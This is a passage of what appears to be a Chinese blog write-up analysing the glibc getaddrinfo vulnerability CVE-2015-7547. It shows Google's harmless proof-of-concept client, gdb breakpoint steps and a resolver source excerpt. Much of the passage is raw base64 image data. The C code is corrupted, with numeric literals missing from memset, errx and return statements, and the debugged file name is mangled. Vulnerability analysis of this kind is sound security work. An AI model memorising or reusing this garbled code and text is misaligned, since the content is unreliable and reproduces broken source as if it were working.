HMN3IxbWN893u/yfa7KzfSpUrzTD0ZGucqVJYqNn2VSNU1haWixSrqae1lYlg6nOypkZi25z2kH7hiFN1XuN0K2efmWz+VmIjaKHghJy9iiHMpydzqD5Z8zfanUgVwhi+1e6e8GhWEg9CVULgAAAADMZM6J5YlsMSkXo+YKVaxFoyOMm6lc6wCmWNR7Va4qUWr8LJMK63hZwlfb9X1QQ8pOK3dnRpGpSThHhcyspflPIycqvLiXKw4gFw8IlE/pv0Q9j/jk0JC70xlKKneGL+UdyOu0QfBl7V6sCX0IOroXgMoFAAAAgJlsp3Ln7eUWo2+lcj3Gr1e5/g00adKMHbCme3dt27WvpuuaWL5trXLDPOdubs+spfkqN9Guxedy5WO2n4ue53KDv5rundZ6jFcOfdJwOkNB5croTpU7e9fXt5e7RuX6fcnOApULAAAAAH+bqdxgiep7LtdUudPjiPNVbiJAIvObLngudy+VmzxY6zPJqiVdxM+WdNNNe9NGVtmlOZvG46O4cr+t/lzunFoqnVwNw8Qay9zL/aQ/XhglZR7dqAQRfSpL34ta/gYpPZerjHc5g+2fInpR5Vr+UnVadVn19+1UbmDSlJDHbbTxQRstAJULAAAAcDu2UrnBccN0Jfp+v9U7luPo42OLwatl56ncMI1hQRscgdRStaByG/HOVmMdnxo/1yRdS4JxER/oPGWnzH2OCFFWGhnlxs+upfGnohIJ80/yzhwvewpWRbdrTkQfclOO+41YkkPCeKOak/osdYQseqmJU1d0O22l3ae4q08sS5PGfHxuk/c4VC4AAADAz1FUuRtSOukJj+AnmzhUcxvLoZ+szwuCygUAAAC4Hfuq3PHo64JHL+EW0MQjm8gh6vNqoHIBAAAAbsfee7nDeUMW7I+FJv6ykRyiPq8FKhcAAADgdhx1Yhng6SCHHgnNCgAAAHA7ULkA24AceiQ0KwAAAMDtmK9y9/gk5eOY3n5747ryfOEHJpBDj4RmBQAAALgdJZWbfkLkHX3AE+r8xhuE8IgPyKFHQrMCAAAA3A7PXm6s1dA0flC5vwRy6JHQrAAAAAC3Y6HKbbv8PK7vlG4YPQoXpfv9aUxS5dN1oV0i+rQXPabW9/0QdYadSfH9R5FzlZtHr2WUFTOvZFV1ZqmSUK+2f4/nkpvu+/9juPDE8hR5jJ1u93+Di5A/AHLokdCsAAAAALdjkcod1Ez44GYQqPg8ZxBdpJvq3jxkdDGVf4ak+sYJ/tO3r8pGqy6mNMkmDaSiOzIKRaWq5FLZDXPS6F1Tsjb7a/yq6/cXO14U8tmMcoh/j/x3tn8BAAAAgJdlKjeTtpkgMjVXEt1QUWZIQ1hXpPUn5GDWN7HyQdtqMSPji/kuKNG8Sva9JqrQRt+9V7HvHLePri+lcn9oC3fkdBnGv13/ne1fAAAAAOBl3XO5kQCTZ1czZPT0h2JGzuiJUQtU7ozcDXKV60xzXiX7HowtttF4VjmJkN13EOeQi1X/Q3L3dBnGv13/ne1fAAAAAOBlO5XrlDOlvdxM5c7byy1G30rl7rGXW82oUslulVs60d1mG8L2FrH/fWS/8f4tAAAAAAC4Dhup3CRQ0y16Ltc8Met7LtdUud+Q61Xu3OdyU51oPJdby6hWyd57DDr6mJVt7eev8QHbJGAezwoZv+sKAAAAAABgezZTudGJ2IKOCd8HXDv3OiWZ7oi+3/Idy3H08QXA35AbqFzDJJvBhuhFUVH0WkbWO5adz0FnpUqiR0eVBxGqX51sN/BU09k7lvPtYVQuAAAAAADsiEflbopfkVXxnBl+AD9STAAAAAAAgC24n8odz8M++5HPHykmAAAAAADAttxP5U7nYR8u/n6kmAAAAAAAAFtyuMoFAAAAAAAA2I1Q5f4PFNfDzv8FlT0AAAAASUVORK5CYII=" alt="" />
4. 漏洞分析
CVE-2015-7547-client.c
/* Copyright 2016 Google Inc
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/ #include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <err.h>
#include <stdio.h>
#include <string.h> int
main(void)
{
struct addrinfo hints, *res;
int r; memset(&hints, , sizeof(hints));
hints.ai_socktype = SOCK_STREAM; if ((r = getaddrinfo("foo.bar.google.com", "",
&hints, &res)) != )
errx(, "getaddrinfo: %s", gai_strerror(r)); return ;
}
IPv4中使用gethostbyname()函数完成主机名到地址解析,这个函数仅仅支持IPv4,且不允许调用者指定所需地址类型的任何信息,返回的结构只包含了用于存储IPv4地址的空间。IPv6中引入了getaddrinfo()的新API,它是协议无关的,既可用于IPv4也可用于IPv6。getaddrinfo函数能够处理名字到地址以及服务到端口这两种转换,返回的是一个addrinfo的结构(列表)指针而不是一个地址清单。这些addrinfo结构随后可由套接口函数直接使用。如此以来,getaddrinfo函数把协议相关性安全隐藏在这个库函数内部。应用程序只要处理由getaddrinfo函数填写的套接口地址结构。该函数在 POSIX规范中定义了
在r = getaddrinfo("foo.bar.google.com", "22", &hints, &res)下断点,跟进分析
gdb CVE---client
break
directory /home/ubuntu1404/LittleHann/CVE/glibc/eglibc-2.19/sysdeps/posix
directory /home/ubuntu1404/LittleHann/CVE/glibc/eglibc-2.19/resolv
通过segment fault直接断点在__libc_res_nquery函数中
/eglibc-2.19/resolv/res_query.c
int
__libc_res_nquery(res_state statp,
const char *name, /* domain name */
int class, int type, /* class and type of query */
u_char *answer, /* buffer to put answer */
int anslen, /* size of answer buffer */
u_char **answerp, /* if buffer needs to be enlarged */
u_char **answerp2,
int *nanswerp2,
int *resplen2)
{
..
n = __libc_res_nsend(statp, query1, nquery1, query2, nquery2, answer,
anslen, answerp, answerp2, nanswerp2, resplen2);
..
aaarticlea/png;base64,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